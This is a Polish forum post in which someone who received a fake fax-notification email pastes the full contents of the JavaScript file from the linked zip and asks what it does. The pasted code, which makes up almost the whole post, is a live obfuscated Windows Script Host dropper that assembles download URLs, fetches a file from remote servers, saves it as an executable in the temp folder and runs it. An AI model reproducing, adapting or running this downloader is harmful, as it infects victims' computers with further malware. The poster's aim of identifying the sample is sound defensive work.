Witam.
Dostałem maila imitującego maila informującego o nadejściu faxu.
W środku link do zipa w którym był plik js z taką zawartością:
UWAGA! TREŚĆ PRAWDOPODOBNIE SZKODLIWA!
var nS_p4XERGScg = 0;
var T2hG8Dky7 = '';
var cqwL51E2VFY = (~((-101 << 0x20) << (0xd * 2 + 6)));
Deyz17Sk = [];
var Uzwcl8tkLWA = 0;
var K4iZWx9 = T2hG8Dky7 + ' ';
hqwvgXaF = (((4675095577061899264 * 1 + 3410793766389102592) / (2154488822252721664 * 3 + 1622422876692837376)) << (1073741824 >>> 0x19));
T2hG8Dky7 = T2hG8Dky7 + new Date();
cqwL51E2VFY = cqwL51E2VFY * (((0x37000000 >>> 5) >> (0x1a00000 >> 21)) >> (201326592 >>> 26));
while (cqwL51E2VFY > (((57147392 >>> 0x5) >> (6815744 >> 19)) % (~-2))) {
IVRI1zkG = T2hG8Dky7.split(K4iZWx9);
Deyz17Sk.push(IVRI1zkG[cqwL51E2VFY % (4 + 2)]);
cqwL51E2VFY--;
}
jYSLFDJtAci = hqwvgXaF;
s0VYWE = '' + ('y4b8m', 'ROY'.ind()) + ('0Hyv', 'uEnaU'.ind()) + ('nlg'.ind());
U_sZ_YAD2Qj = ['' + ('h0r'.ind()) + ('Ssa', 'trVfE'.ind()) + ('tnnhh'.ind()) + ('pOWa'.ind()) + ('sZ', 's'.ind()) + ('k0', ':hoVD'.ind()) + ('05X6W', '/f'.ind()) + ('/u'.ind()) + ('gtx'.ind()) + ('w', 'lNhpC'.ind()) + ('dB', 'oXQg'.ind()) + ('j', 'bnn'.ind()) + ('aIQ5'.ind()) + ('di1w', 'l'.ind()) + ('m5o', 'c'.ind()) + ('TTq', 'a5'.ind()) + ('rWQ'.ind()) + ('1M6', 'ek'.ind()) + ('w6klU', 'ebXCH'.ind()) + ('9Argh', 'rVk'.ind()) + ('C2ktn', 'lm'.ind()) + ('9c', 'i'.ind()) + ('n'.ind()) + ('oBEf', 'kF1'.ind()) + '-' + 'm' + ('3me', 'yp33'.ind()) + ('.tTef'.ind()) + ('5', 'sxWr'.ind()) + ('RdHD', 'h'.ind()) + ('Yu', 'a'.ind()) + ('dAG9V', 'r0fk'.ind()) + ('eda2j'.ind()) + ('2Z8l', 'pts'.ind()) + ('oOGVE'.ind()) + ('i'.ind()) + ('npXN'.ind()) + ('5lbd', 't'.ind()) + ('.fcy'.ind()) + ('qe0', 'c'.ind()) + ('oAKNr'.ind()) + ('m'.ind()) + ('yo1', '/toTl'.ind()) + ('Z', 'pD6pJ'.ind()) + ('e'.ind()) + ('D', 'rhj'.ind()) + ('su0O'.ind()) + ('dF', 'oK'.ind()) + ('5', 'nbzqw'.ind()) + ('ai'.ind()) + ('kjoIz', 'l'.ind()) + ('vMvS', '/A'.ind()) + ('KJwI', 'b'.ind()) + ('y', 'k'.ind()) + ('YI', 'e7W'.ind()) + ('lWWk'.ind()) + 'l' + ('7bLbj', 'y'.ind()) + ('MGN', '_quxd'.ind()) + ('g_s'.ind()) + 'l' + ('o2Jp'.ind()) + ('uRHW', 'bu6mw'.ind()) + ('d', 'aoZ'.ind()) + ('l34'.ind()) + 'c' + ('aFc'.ind()) + ('jC', 'rpPxl'.ind()) + ('iRO', 'e'.ind()) + 'e' + ('IO10y', 'rB'.ind()) + 'l' + ('jZkv', 'irp9N'.ind()) + ('nZlk'.ind()) + ('kgd'.ind()) + ('_6x'.ind()) + ('oO8va', 'csEdu'.ind()) + ('o'.ind()) + ('w', 'mcRt'.ind()) + '/' + '_' + ('lc2vo'.ind()) + ('cDx', 'a'.ind()) + ('uc', 'y4'.ind()) + ('o3zgu'.ind()) + ('ug'.ind()) + ('tWT'.ind()) + 's' + ('/j'.ind()) + ('1XKt'.ind()) + ('5fpf'.ind()) + ('/y'.ind()) + ('gA'.ind()) + ('ujm'.ind()) + ('egzdN'.ind()) + ('tpPP', 'sNBAf'.ind()) + ('gWz', 'tMu2'.ind()) + ('V', 'a6007'.ind()) + ('cDj'.ind()) + ('cNP'.ind()) + ('eJyZj'.ind()) + ('sDz'.ind()) + ('D5p', 's0'.ind()) + ('9SPY2', '.le'.ind()) + ('aPaLq'.ind()) + ('sk'.ind()) + ('u82', 'p5ubH'.ind()) + ('x'.ind()) + ('?nqa'.ind()) + ('d7QPw'.ind()) + ('oN50S'.ind()) + ('_fPfq', 'c2Na'.ind()) + ('3U', 'i8U'.ind()) + ('Z', 'daoc'.ind()) + ('=Pj11'.ind()) + ('06W'.ind()) + ('978S'.ind()) + ('cAf6t'.ind()) + ('7'.ind()) + ('Wh', '8iU'.ind()) + ('61m'.ind()) + ('1m3U'.ind()) + ('bLvRK', 'f2'.ind()) + ('edq', 'fu3'.ind()) + ('hEwr', '0R'.ind()) + ('Od', '9e'.ind()) + ('fKv9'.ind()) + ('75Hu'.ind()) + ('a6xu', '48JoC'.ind()) + ('b5_Bt'.ind()) + ('AThzY', '0p'.ind()) + ('SI', 'dmPk4'.ind()) + ('3y1', '8i3uh'.ind()) + ('VB', 'bSQ20'.ind()) + ('M', 'a'.ind()) + ('te', 'aE'.ind()) + ('3'.ind()) + ('Cu6', '2WDf'.ind()) + ('aQKh'.ind()) + ('9jB1'.ind()) + 'e' + ('9xB'.ind()) + ('BkH', 'ci7s'.ind()) + '2' + ('frUa'.ind()) + ('8'.ind()) + ('f65EM', '1'.ind()) + ('E', 'cG'.ind()) + ('&sRx'.ind()) + ('a'.ind()) + ('u7'.ind()) + ('t'.ind()) + ('_', 'h_ATl'.ind()) + ('yxZ', 'kJs'.ind()) + ('emTX'.ind()) + ('U1', 'yHq2'.ind()) + ('9S', '=IxTK'.ind()) + ('j', 'AzMo'.ind()) + ('Vx'.ind()) + ('G'.ind()) + 'O' + ('K'.ind()) + ('7Og'.ind()) + ('gPMW', 'V6B0'.ind()) + ('hs6'.ind()) + ('xB', 'szCs'.ind()) + ('bz', 'f'.ind()) + ('l3Y7'.ind()) + ('lS', '0QtJA'.ind()) + ('X'.ind()) + ('Sd6c'.ind()) + 'w' + ('ndc', 'Fy'.ind()) + ('4'.ind()) + 'Q' + ('LoJh', 'an'.ind()) + ('F5XK', '4V78'.ind()) + ('BMk', 'cG'.ind()) + ('W0iFz', 'b'.ind()) + ('wLt', 'c'.ind()), '' + ('hz'.ind()) + ('S', 'tx'.ind()) + ('tWcjG'.ind()) + ('p'.ind()) + ('s8'.ind()) + ('XxwA', ':gRmf'.ind()) + ('Uyj', '/'.ind()) + ('/'.ind()) + 'p' + ('H7NV5', 'sL'.ind()) + ('TJQ', 'pOyeg'.ind()) + ('6oZN', 'mun'.ind()) + ('Sp_Ah', 'seo'.ind()) + ('yV', '-dlle'.ind()) + ('4N', 'moUZJ'.ind()) + ('4', 'yccJ'.ind()) + ('Z', '.'.ind()) + ('6', 'sq'.ind()) + ('hk9M3'.ind()) + ('akuhL'.ind()) + ('rfWx'.ind()) + ('eF'.ind()) + ('pWNg'.ind()) + ('EE9YE', 'o2NUO'.ind()) + 'i' + ('L', 'nMjN'.ind()) + ('tDUHY'.ind()) + ('.SWT'.ind()) + ('cGF2t'.ind()) + ('ovh'.ind()) + ('m'.ind()) + ('/'.ind()) + ('Bv', 'pVZh'.ind()) + ('eCez'.ind()) + ('rLJ'.ind()) + ('si9xj'.ind()) + ('oj'.ind()) + ('n'.ind()) + ('a4ma'.ind()) + ('l1a'.ind()) + ('/0tF'.ind()) + ('p8'.ind()) + ('aEDJ'.ind()) + ('SkMX', 'uMA'.ind()) + ('d', 'lNlW'.ind()) + ('tXXgc', '_pI'.ind()) + ('0E', 'pZ'.ind()) + ('Gf4nn', 's1_'.ind()) + ('BJge', 'tZl'.ind()) + ('ebqGi'.ind()) + ('vePW'.ind()) + ('e'.ind()) + ('WR1z', 'nn'.ind()) + ('VIoE', 'sH8t'.ind()) + ('Paoj', '_PFMa'.ind()) + ('c5DA5'.ind()) + ('or'.ind()) + ('m'.ind()) + ('_R_1'.ind()) + ('aI'.ind()) + ('uCkR'.ind()) + ('/C'.ind()) + ('d', '_F'.ind()) + ('k8MZ', 'l'.ind()) + ('WwXG2', 'aH'.ind()) + 'y' + ('oQRJ6'.ind()) + ('C', 'uzE0'.ind()) + ('tSgJQ'.ind()) + ('ZVF', 'sz'.ind()) + ('nTpu', '/zlZT'.ind()) + ('yORd4', '1Qrq'.ind()) + ('SQhVo', '5U'.ind()) + ('/oV'.ind()) + ('O', 'g'.ind()) + ('4', 'uILM'.ind()) + ('e1M'.ind()) + ('sZ'.ind()) + ('Iz', 't_C'.ind()) + ('a'.ind()) + ('JNn17', 'c0g'.ind()) + ('co'.ind()) + ('et90o'.ind()) + ('sTL'.ind()) + ('siN1'.ind()) + ('.4a0P'.ind()) + ('ab'.ind()) + ('sfm'.ind()) + ('J', 'pu'.ind()) + ('UKs', 'xZJ22'.ind()) + ('woA', '?6'.ind()) + ('oy5pV', 'd'.ind()) + ('zm', 'o19Tz'.ind()) + ('ceW'.ind()) + ('uwo', 'iP'.ind()) + ('gGEK', 'dX'.ind()) + ('GX', '=a'.ind()) + ('GO8', '0i4gN'.ind()) + ('ri', '7VrzC'.ind()) + ('c'.ind()) + ('w', '4'.ind()) + '2' + ('2Y'.ind()) + ('NE', '8r'.ind()) + ('6OJ'.ind()) + ('z', 'eJR_'.ind()) + ('g', 'cW'.ind()) + ('5'.ind()) + ('fcW'.ind()) + ('qQX', '1'.ind()) + ('4'.ind()) + ('GN', 'cOT'.ind()) + ('98P'.ind()) + ('dg7_U'.ind()) + ('_dSR', 'a48FN'.ind()) + ('EB', '5d'.ind()) + ('H49j', 'dqn'.ind()) + ('luNK3', 'bLYzO'.ind()) + 'd' + ('emsDQ'.ind()) + ('3bP'.ind()) + ('16R'.ind()) + ('O', '5h'.ind()) + ('4'.ind()) + '4' + ('sMmn', '5D'.ind()) + ('afK'.ind()) + ('fdnk'.ind()) + ('Uzu', '7fM'.ind()) + ('estPB', 'd'.ind()) + ('kzqi', '&JUX'.ind()) + ('Rl', 'aBv'.ind()) + ('RUO4', 'u'.ind()) + ('H30Z', 'tsDc'.ind()) + ('hdV'.ind()) + 'k' + ('NI', 'e'.ind()) + ('y'.ind()) + '=' + 'A' + ('Sq'.ind()) + ('y0cZ'.ind()) + ('kkdv', 'k9us'.ind()) + ('0cAQ'.ind()) + ('I3ho', 'fl9W'.ind()) + ('_j', 'crUI'.ind()) + ('Jc'.ind()) + ('sB', 'LVx7X'.ind()) + ('v', 'WCj'.ind()) + ('FR'.ind()) + ('f3b'.ind()) + 'Y' + ('UB', 'V'.ind()) + ('M5S'.ind()) + ('vX7', 'o'.ind()) + ('1w'.ind()) + '3' + ('0PpWo'.ind()) + ('jEq', 'r'.ind()) + ('p', 'NZ1QR'.ind()) + ('YE9', 'AFO'.ind()) + ('I', 'EIm'.ind())];
DDvK6v = '' + ('YU', 'EdfYd'.ind()) + ('xGM7D'.ind()) + ('9', 'p'.ind()) + ('cbP1A', 'aJn'.ind()) + ('nn'.ind()) + ('BVQ4', 'dIwL9'.ind()) + 'E' + ('Ch4', 'nGbHr'.ind()) + ('vB'.ind()) + ('iG9DP'.ind()) + ('LjKj', 'r'.ind()) + ('omSS5'.ind()) + ('C', 'na'.ind()) + ('mZl1'.ind()) + ('MSY', 'eYHdL'.ind()) + ('nW'.ind()) + ('me', 'tD0'.ind()) + ('S9TkS'.ind()) + ('8g', 't'.ind()) + ('8', 'rFNh'.ind()) + ('iF'.ind()) + ('Wg8K', 'nK'.ind()) + ('NRS48', 'gr'.ind()) + ('sg'.ind());
W0lqG5nWpCi = this['' + ('GylKw', 'AyvS'.ind()) + ('cup'.ind()) + ('OhZuQ', 'thu'.ind()) + ('EAasV', 'i'.ind()) + ('v_'.ind()) + ('9', 'exaQ'.ind()) + ('X7E'.ind()) + ('PsDE', 'Odo'.ind()) + ('2', 'bHE'.ind()) + ('j2h'.ind()) + ('Zt', 'en87s'.ind()) + ('cE1fK'.ind()) + ('Dgl5', 'tCF'.ind())];
wFXC2Rs3d = new W0lqG5nWpCi('' + ('WoQkP'.ind()) + ('STG', 'SnGJ'.ind()) + ('cn'.ind()) + ('re'.ind()) + ('lK', 'iL'.ind()) + ('p4'.ind()) + ('t0'.ind()) + ('.V'.ind()) + 'S' + ('hK1'.ind()) + ('bdcMj', 'elhoo'.ind()) + ('l'.ind()) + ('lvjR'.ind()));
jUi25MU = wFXC2Rs3d[DDvK6v]('' + ('%VFm1'.ind()) + ('WLTs', 'T'.ind()) + ('ES'.ind()) + ('w33', 'MNFfg'.ind()) + ('5L', 'P'.ind()) + ('%Ca'.ind()) + ('J6J_', '/q2s'.ind()) + 'k' + ('6eG1X'.ind()) + ('uCs'.ind()) + 'Q' + ('JeTx'.ind()) + ('hK4Y', 'a'.ind()) + 'w' + ('ry3U'.ind()) + ('uOb_0'.ind()) + ('.vh5b'.ind()) + ('ebg'.ind()) + ('FS', 'x3g0'.ind()) + ('BRW4C', 'ej3D'.ind()));
try {
MBmpEozWQK = new W0lqG5nWpCi('' + ('M4'.ind()) + ('i6', 'S'.ind()) + ('X'.ind()) + ('F', 'Mf2'.ind()) + ('tw', 'LYQd'.ind()) + ('4gZP', '2skD7'.ind()) + ('.KNF'.ind()) + ('XO'.ind()) + 'M' + ('_n', 'Lk'.ind()) + ('W', 'Hyq'.ind()) + ('TEX7'.ind()) + ('7N8i2', 'TlLPQ'.ind()) + ('o', 'PwH'.ind()));
while (nS_p4XERGScg == (((0x400 >>> 0x7) * (0x3d8d3d64f93e8800 / 0x3d8d3d64f93e8800) + (0x30000 >> 0x10)) % (1 << 32))) {
MBmpEozWQK['' + ('X', 'oG7nm'.ind()) + ('p28'.ind()) + ('eJu'.ind()) + ('IWC2A', 'n'.ind())]('' + ('G7hSI'.ind()) + ('EN'.ind()) + 'T', U_sZ_YAD2Qj[Uzwcl8tkLWA], 0);
++Uzwcl8tkLWA;
if (Uzwcl8tkLWA == U_sZ_YAD2Qj.length) Uzwcl8tkLWA = (((0x6f8 >>> 0x3) << (2097152 >> 16)) % (0x10000 >> 16));
MBmpEozWQK['' + ('zsz', 'ssX'.ind()) + ('e'.ind()) + ('n7wM0'.ind()) + ('dhD'.ind())]();
while (MBmpEozWQK['' + ('l_Uvg', 'rAM'.ind()) + ('ujJJ0', 'ee'.ind()) + ('aSR9'.ind()) + ('SrQM', 'd'.ind()) + ('h', 'yswm'.ind()) + ('5S', 'sUm8h'.ind()) + ('0ns', 't'.ind()) + ('IH_P', 'ah8o'.ind()) + ('g', 'tcPxv'.ind()) + ('e'.ind())] < (~(~(16 >>> 2)))) {
wFXC2Rs3d['' + ('S'.ind()) + ('a', 'l'.ind()) + 'e' + ('I4', 'e7jt'.ind()) + ('pb3'.ind())]((((50 << 0x1) << (~-15)) >>> (7 << 1)));
}
LIWnGtj0Wd = MBmpEozWQK['' + ('sOB7'.ind()) + ('tf8S'.ind()) + ('ar8'.ind()) + ('Gh', 't_'.ind()) + ('sk_ip', 'usu'.ind()) + 's' + ('Td'.ind()) + ('e'.ind()) + ('xNRZ'.ind()) + ('i_UY', 'tlK_'.ind())];
if (LIWnGtj0Wd && LIWnGtj0Wd == '' + ('ste', 'O0Tq7'.ind()) + ('e', 'KBG6'.ind())) nS_p4XERGScg = (((~-54657964004352848) * (0x280000 >> 19) + (1863956306924531 * 0x1 + 1093423676466285)) / (~-276247200005155040));
}
A8SB4aG = new W0lqG5nWpCi('' + 'A' + ('D'.ind()) + ('Om0Te'.ind()) + ('kgd6', 'D'.ind()) + ('B'.ind()) + ('8l', '.OJV'.ind()) + ('efPj', 'S6ku'.ind()) + ('tl'.ind()) + ('uI', 'rS'.ind()) + ('e'.ind()) + ('aYYH8'.ind()) + ('IVp', 'mVIt'.ind()));
A8SB4aG['' + ('d1h7u', 'oWq'.ind()) + 'p' + 'e' + ('n3G9'.ind())]();
A8SB4aG['' + ('Xttz', 't'.ind()) + ('iN', 'yDbio'.ind()) + ('iLXLJ', 'pyG'.ind()) + ('IP', 'er'.ind())] = hqwvgXaF;
A8SB4aG['' + ('S7Q5T', 'wb5fL'.ind()) + ('rde'.ind()) + ('LVi0A', 'is'.ind()) + ('tXOs9'.ind()) + ('m', 'eblvF'.ind())](MBmpEozWQK['' + ('UDee3', 'R61g'.ind()) + ('NVngD', 'e'.ind()) + ('surS'.ind()) + ('f', 'pV5UB'.ind()) + ('Pd6', 'oIo'.ind()) + ('Ootw', 'nV'.ind()) + ('sF'.ind()) + ('1', 'efQ'.ind()) + 'B' + ('EZFM7', 'oatDl'.ind()) + ('d'.ind()) + ('yA71V'.ind())]);
A8SB4aG['' + ('0', 'p'.ind()) + 'o' + 's' + ('iuR'.ind()) + ('hFW', 'toYA'.ind()) + ('bbA', 'iKSsI'.ind()) + ('oCmPk'.ind()) + 'n'] = hqwvgXaF - jYSLFDJtAci;
A8SB4aG['' + ('s6h'.ind()) + ('lr', 'a'.ind()) + ('v2qd7'.ind()) + ('Tc', 'eOK'.ind()) + ('e', 'TR'.ind()) + ('o1s0'.ind()) + 'F' + ('z0Hg', 'ii'.ind()) + ('l'.ind()) + ('pRZ', 'e9Q'.ind())](jUi25MU, hqwvgXaF + jYSLFDJtAci);
A8SB4aG['' + ('Q8dHg', 'c'.ind()) + ('y3', 'lMnsS'.ind()) + ('oJ'.ind()) + ('hW9hi', 's'.ind()) + ('Ex', 'eC'.ind())]();
wFXC2Rs3d[s0VYWE](jUi25MU, (((~-2913) >> (0x20000000 >>> 27)) % (134217728 >> 0x1b)), jYSLFDJtAci - hqwvgXaF);
} catch (ePXDBcodDAdq) {};
function String.prototype.ind() {
var jvqyKQX = this.split('');
var xHs7BfmSmds = jvqyKQX.length * 6 - 3;
var g6evStkO = hqwvgXaF - jYSLFDJtAci;
if (Number(Deyz17Sk[xHs7BfmSmds]) + jYSLFDJtAci == (((0x3f1 << 32) << (0x1 << 32)) << (0x800 >> 0x6))) g6evStkO = jvqyKQX.length;
return jvqyKQX[jvqyKQX.length - g6evStkO];
}
Jest w stanie ktoś określić jakie to mogło mieć zdanie?
